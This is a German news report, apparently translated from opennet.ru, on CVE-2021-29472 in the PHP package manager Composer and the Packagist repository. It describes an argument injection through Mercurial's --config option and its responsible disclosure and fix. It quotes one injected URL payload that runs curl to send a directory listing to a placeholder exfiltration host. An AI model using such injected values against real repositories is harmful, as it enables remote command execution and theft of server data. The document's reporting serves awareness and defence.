Eine Schwachstelle im Paketmanager Composer, die eine Kompromittierung des PHP-Repositories Packagist ermöglicht.

Im Composer-AbhĂ€ngigkeitsmanager wurde eine kritische SicherheitsanfĂ€lligkeit (CVE-2021-29472) identifiziert, die es ermöglicht, beliebige Befehle im System auszufĂŒhren, wĂ€hrend ein Paket mit einem speziell formatierten URL-Wert verarbeitet wird, der die Adresse fĂŒr das Herunterladen von Quelltexten bestimmt. Das Problem tritt in den Komponenten GitDriver, SvnDriver und HgDriver auf, die bei der Nutzung von Versionskontrollsystemen wie Git, Subversion und Mercurial verwendet werden. Die SicherheitsanfĂ€lligkeit wurde in den Versionen Composer 1.10.22 und 2.0.13 behoben.

Es ist besonders hervorzuheben, dass das Problem hauptsĂ€chlich das standardmĂ€ĂŸig in Composer verwendete Paket-Repository Packagist betraf, das 306.000 Pakete fĂŒr Entwickler in PHP umfasst und monatlich ĂŒber 1,4 Milliarden Downloads verarbeitet. Ein Experiment hat gezeigt, dass Angreifer mit Kenntnis des Problems die Kontrolle ĂŒber die Infrastruktur von Packagist ĂŒbernehmen und die Anmeldedaten von Betreuern abfangen oder den Download von Paketen auf einen externen Server umleiten könnten, wodurch bösartige Modifikationen eingefĂŒgt werden, um ein HintertĂŒrchen wĂ€hrend des Installationsprozesses von AbhĂ€ngigkeiten einzuschleusen.

Das Risiko fĂŒr Endanwender besteht darin, dass der Inhalt von composer.json in der Regel vom Nutzer selbst festgelegt wird und die Links zu den Quelltexten beim Zugriff auf externe Repositories, die in der Regel vertrauenswĂŒrdig sind, ĂŒbergeben werden. Der Hauptangriff richtete sich gegen das Repository Packagist.org und den Dienst Private Packagist, die Composer mit Daten von Nutzern ansteuern. Angreifer konnten ihren Code auf den Servern von Packagist ausfĂŒhren, indem sie ein speziell gestaltetes Paket bereitstellten.

Das Team von Packagist behebt die Schwachstelle innerhalb von 12 Stunden nach Eingang der Meldung ĂŒber die SicherheitsanfĂ€lligkeit. Die Forscher benachrichtigten die Entwickler von Packagist vertraulich am 22. April, und am selben Tag wurde das Problem behoben. Das öffentliche Update von Composer zur Behebung der Schwachstelle wurde am 27. April veröffentlicht, und die Details wurden am 28. April bekannt gegeben. Eine ÜberprĂŒfung der Protokolle auf den Servern von Packagist ergab keine verdĂ€chtigen AktivitĂ€ten im Zusammenhang mit der Schwachstelle.

Das Problem entsteht durch einen Fehler im Code zur Validierung von URLs in der Hauptdatei composer.json sowie in den Links fĂŒr den Download der Quelltexte. Dieser Fehler besteht bereits seit November 2011. Um den Code ohne Bindung an ein bestimmtes Versionskontrollsystem bereitzustellen, verwendet Packagist spezielle Schichten, die durch den Aufruf von „fromShellCommandline“ mit der Übertragung von Argumenten aus der Befehlszeile ausgefĂŒhrt werden. Zum Beispiel wird fĂŒr Git der Befehl „git ls-remote —heads $URL“ aufgerufen, wobei die URL mit der Methode „ProcessExecutor::escape($url)“ verarbeitet wird, die potenziell gefĂ€hrliche Konstrukte wie „$(
)“ oder „`
`“ maskiert.

Das Kernproblem besteht darin, dass die Methode ProcessExecutor::escape die Sequenz „—“ nicht escaped hat, was es ermöglichte, im URL jeden zusĂ€tzlichen Aufrufparameter anzugeben. Eine solche Escaping-Funktion fehlte in den Treibern GitDriver.php, SvnDriver.php und HgDriver.php. Ein Angriff ĂŒber GitDriver.php wurde dadurch behindert, dass der Befehl „git ls-remote“ keine zusĂ€tzlichen Argumente nach dem Pfad unterstĂŒtzte. Ein Angriff auf HgDriver.php war jedoch möglich, indem der Parameter „—config“ an das Tool „hq“ ĂŒbergeben wurde, welches die AusfĂŒhrung beliebiger Befehle durch Manipulation der Einstellung „alias.identify“ ermöglicht. Zum Beispiel hĂ€tte man fĂŒr das Herunterladen und AusfĂŒhren von Code ĂŒber den Aufruf des Tools curl angeben können: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Durch das Bereitstellen eines Testpakets mit einem Àhnlichen URL auf Packagist haben die Forscher bestÀtigt, dass nach der Bereitstellung eine HTTP-Anfrage von einem ihrer Server einging. Server Packagist in AWS, das eine Liste der Dateien im aktuellen Verzeichnis enthÀlt.

Quelle: opennet.ru

Kaufen Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Servern đŸ”„ Kaufen Sie zuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz, VPS VDS-Servern | ProHoster